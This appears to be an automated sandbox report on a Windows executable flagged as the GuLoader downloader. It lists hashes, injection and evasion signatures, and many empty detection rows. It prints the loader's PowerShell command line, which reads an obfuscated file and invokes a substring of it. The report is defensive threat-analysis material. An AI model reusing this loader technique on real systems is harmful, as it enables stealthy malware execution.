Edit tour
Windows
Analysis Report
LMSxhK1u8Z.exe
Overview
General Information
| Sample name: | LMSxhK1u8Z.exerenamed because original name is a hash value |
| Original sample name: | fe05b02fda8dc707ceb4143b4a2e4d6553d5410f226907cf0ae318b54edf28b2.exe |
| Analysis ID: | 1588662 |
| MD5: | f2827f013a265de94993c62bf9756b00 |
| SHA1: | 9cc4cc403434e08c9c2e2ab312980cad6b2470ca |
| SHA256: | fe05b02fda8dc707ceb4143b4a2e4d6553d5410f226907cf0ae318b54edf28b2 |
| Tags: | exeGuLoadersigneduser-adrian__luca |
| Infos: |   |
 | |
Detection
GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Early bird code injection technique detected
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected GuLoader
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Powershell drops PE file
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Switches to a custom stack to bypass stack traces
Writes to foreign memory regions
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected non-DNS traffic on DNS port
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Classification
- System is w10x64
LMSxhK1u8Z.exe (PID: 7284 cmdline: "C:\Users\ user\Deskt op\LMSxhK1 u8Z.exe" MD5: F2827F013A265DE94993C62BF9756B00) 
powershell.exe (PID: 7360 cmdline: "powershel l.exe" -wi ndowstyle minimized "$Yderpunk tets=Get-C ontent -Ra w 'C:\User s\user\App Data\Roami ng\Polysul fonate\san gersken\Ci rculation\ Jul.Emb';$ Disna=$Yde rpunktets. SubString( 22405,3);. $Disna($Yd erpunktets )" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
conhost.exe (PID: 7368 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - Calcifuge.exe (PID: 7824 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\Calcif uge.exe" MD5: F2827F013A265DE94993C62BF9756B00)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| CloudEyE, GuLoader | CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. | No Attribution |
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_GuLoader_2 | Yara detected GuLoader | Joe Security | ||
| JoeSecurity_GuLoader_2 | Yara detected GuLoader | Joe Security |
System Summary |   |
|---|
| Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): | ||
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2025-01-11T03:52:30.599048+0100 | 2803270 | 2 | Potentially Bad Traffic | 192.168.2.4 | 49736 | 172.217.16.206 | 443 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection | |
|---|
| Source: | ReversingLabs: | ||
| Source: | Virustotal: | Perma Link | ||
| Source: | ReversingLabs: | |||
| Source: | Integrated Neural Analysis Model: | ||
| Source: | Static PE information: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Code function: | 0_2_004055D5 | |
| Source: | Code function: | 0_2_00406089 | |
| Source: | Code function: | 0_2_00402706 | |
| Source: | TCP traffic: | ||
| Source: | JA3 fingerprint: | ||
| Source: | Suricata IDS: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | Code function: | 0_2_00405139 | |
System Summary | |
|---|
| Source: | File created: | Jump to dropped file | ||
| Source: | Code function: | 0_2_004031DD | |
| Source: | Code function: | 0_2_00404976 | |
| Source: | Code function: | 0_2_004064EC | |
| Source: | Static PE information: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Static PE information: | ||
| Source: | Classification label: | ||
| Source: | Code function: | 0_2_00404430 | |
| Source: | Code function: | 0_2_0040206A | |
| Source: | File created: | Jump to behavior | ||
| Source: | Mutant created: | ||
| Source: | Mutant created: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | Static PE information: | ||
| Source: | WMI Queries: | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | Virustotal: | ||
| Source: | ReversingLabs: | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Key value queried: | Jump to behavior | ||
| Source: | Window detected: | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Static file information: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
| Source: | Binary string: | ||
Data Obfuscation | |
|---|
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | Anti Malware Scan Interface: | ||
| Source: | Anti Malware Scan Interface: | ||
| Source: | Code function: | 0_2_004060B0 | |
| Source: | Code function: | 1_2_0504A621 | |
| Source: | Code function: | 1_2_0504EA0C | |
| Source: | Code function: | 1_2_0504CB6A | |
| Source: | Code function: | 1_2_098EC8E8 | |
| Source: | Code function: | 1_2_098E505E | |
| Source: | Code function: | 1_2_098EAB51 | |
| Source: | Code function: | 1_2_098EAB51 | |
| Source: | Code function: | 1_2_098EC4B8 | |
| Source: | Code function: | 1_2_098E92B7 | |
| Source: | Code function: | 1_2_098ED4AF | |
| Source: | Code function: | 1_2_098EC4B8 | |
| Source: | Code function: | 1_2_098E34F1 | |
| Source: | Code function: | 1_2_098EC4B8 | |
| Source: | Code function: | 1_2_098E8F95 | |
| Source: | Code function: | 1_2_098E37A9 | |
| Source: | Code function: | 1_2_098EA89E | |
| Source: | Code function: | 1_2_098EE018 | |
| Source: | Code function: | 1_2_098E4E37 | |
| Source: | Code function: | 6_2_0166C4B8 | |
| Source: | Code function: | 6_2_0166A89E | |
| Source: | Code function: | 6_2_0166E018 | |
| Source: | Code function: | 6_2_016637A9 | |
| Source: | Code function: | 6_2_0166AB51 | |
| Source: | Code function: | 6_2_01668F95 | |
| Source: | Code function: | 6_2_0166AB51 | |
| Source: | Code function: | 6_2_0166C4B8 | |
| Source: | Code function: | 6_2_01664E37 | |
| Source: | Code function: | 6_2_0166505E | |
| Source: | Code function: | 6_2_016634F1 | |
| Source: | Code function: | 6_2_0166C8E8 | |
| Source: | Code function: | 6_2_0166D4AF | |
| Source: | File created: | Jump to dropped file | ||
Hooking and other Techniques for Hiding and Protection | |
|---|
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
